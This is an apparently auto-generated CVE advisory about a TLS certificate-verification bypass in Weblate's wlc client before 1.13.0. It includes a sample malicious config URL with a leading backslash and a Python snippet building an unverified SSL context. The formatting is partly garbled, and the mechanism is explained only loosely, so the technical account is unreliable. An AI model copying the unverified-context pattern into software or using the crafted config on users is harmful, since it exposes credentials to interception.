Listen to this Post
How the CVE Works:
The vulnerability exists in the Weblate command-line client (wlc). When processing a configuration file or command argument containing a specifically crafted URL that uses a backslash (\) character before the hostname (e.g., https://\example.com`), the client's URL parsing logic fails. This flawed parsing causes the client's HTTP library (such as Python'shttp.client.HTTPSConnection`) to incorrectly handle the hostname and, critically, to disable TLS/SSL certificate verification for the connection. The client essentially creates an HTTPS connection context with `ssl._create_default_https_context` or similar, where `check_hostname` and `verify_mode` are set to unverified states. This allows the connection to proceed without validating the server’s SSL certificate, making the session vulnerable to Man-in-the-Middle (MitM) attacks where an attacker can intercept, decrypt, and potentially modify the communication between the `wlc` client and the target Weblate instance.
dailycve form:
Platform: Weblate CLI
Version: pre-1.13.0
Vulnerability: SSL verification bypass
Severity: Low
date: Jan 12 2026
Prediction: Patch Jan 19 2026.
What Undercode Say:
Example of a malicious config entry or command argument wlc --config exploit.ini pull cat exploit.ini [bash] url = https://\malicious-weblate.instance.org/project/
Simplified code snippet showing vulnerable path
import http.client
import ssl
Flawed parsing leads to context creation like:
context = ssl._create_unverified_context()
connection = http.client.HTTPSConnection("parsed_host", context=context)
How Exploit:
Attacker operates malicious Weblate instance or MitM proxy. User configures `wlc` with crafted URL containing leading backslash. Client connects to attacker’s host without SSL certificate checks. Attacker intercepts authentication tokens or pushes malicious translations.
Protection from this CVE:
Update `wlc` to patched version (>=1.13.0). Avoid untrusted configuration sources. Manually verify service URLs.
Impact:
Man-in-the-middle attacks. Credential interception. Data integrity compromise. Unauthorized translation pushes/pulls.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
